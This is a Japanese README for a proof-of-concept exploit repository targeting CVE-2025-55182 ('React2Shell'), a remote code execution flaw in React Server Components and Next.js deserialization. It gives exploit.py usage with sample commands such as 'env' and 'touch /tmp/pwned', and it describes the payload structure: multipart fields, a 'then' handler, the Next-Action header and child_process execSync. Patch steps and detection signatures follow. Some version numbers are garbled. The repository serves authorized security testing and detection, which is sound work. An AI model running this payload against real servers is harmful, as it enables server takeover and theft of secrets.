
CVE-2025-55182(React2Shell)の概念実証エクスプロイト。安全でないデシリアライゼーションによるReact Server Componentsの重大なRCE脆弱性です。エクスプロイトスクリプト、脆弱なアプリのセットアップ、許可されたセキュリティテスト用の検出シグネチャを含みます。
このリポジトリには、React Server Componentsにおける重大なリモートコード実行脆弱性 CVE-2025-55182 の概念実証が含まれています。これは許可されたセキュリティテストおよび研究目的のみです。
React:
Next.js:
この脆弱性は、React Server ComponentsのFlightプロトコルにおける安全でないデシリアライゼーションを悪用します。サーバーが特別に細工されたペイロードを受信すると、デシリアライズ前に構造を適切に検証できず、攻撃者が制御するデータによってサーバー側の実行が操作される可能性があります。
thenメソッドが含まれます。process.mainModule.require('child_process')を介して任意のJavaScriptがサーバー上で実行されます。npm install
npm run dev
サーバーは http://localhost:3000 で起動します。
app/
├── page.js # Main page with ServerForm
├── ServerForm.js # Client component with form
├── actions.js # Vulnerable Server Action
└── layout.js # Root layout
python3 exploit.py -t http://localhost:3000 -c "whoami"
-t, --target: ターゲットURL (必須)-c, --command: 実行するシェルコマンド (デフォルト: id)--check-only: ターゲットが脆弱かどうかのみチェックターゲットが脆弱かチェック:
python3 exploit.py -t http://localhost:3000 --check-only
任意のコマンドを実行:
# Get user info
python3 exploit.py -t http://localhost:3000 -c "id"
# List files
python3 exploit.py -t http://localhost:3000 -c "ls -la"
# Create a file as POC
python3 exploit.py -t http://localhost:3000 -c "touch /tmp/pwned"
# Read environment variables
python3 exploit.py -t http://localhost:3000 -c "env"
エクスプロイトはマルチパートフォームデータを使用します:
フィールド "0": カスタム 'then' ハンドラを持つ悪意のあるJSON
フィールド "1": フィールド 0 への参照 ($@0)
ヘッダー: Next-Action: x (RSC処理をトリガー)
ペイロードは内部の_responseオブジェクトを操作して以下を実行します:
process.mainModule.require('child_process').execSync('<command>')
Reactを更新:
npm install [email protected] [email protected]
Next.jsを更新:
npm install [email protected] # or latest patched version
Next-Actionヘッダーを含むRSCエンドポイントへの予期しないPOSTリクエスト$@参照を含むマルチパートフォームデータペイロードthenプロパティPOST / HTTP/1.1
Next-Action: x
Content-Type: multipart/form-data
...containing {"then":"$@
この概念実証は、教育および許可されたセキュリティテスト目的のみで提供されます。コンピュータシステムへの不正アクセスは違法です。著者はこの情報の誤用に対する責任を負いません。
禁止事項:
MITライセンス - セキュリティ研究目的のみ